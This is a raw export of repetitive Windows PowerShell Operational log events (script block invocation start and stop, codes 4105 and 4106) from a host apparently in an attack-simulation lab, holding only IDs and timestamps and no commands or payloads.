09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046714
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046711
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046705
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046683
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046682
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046681
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046680
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
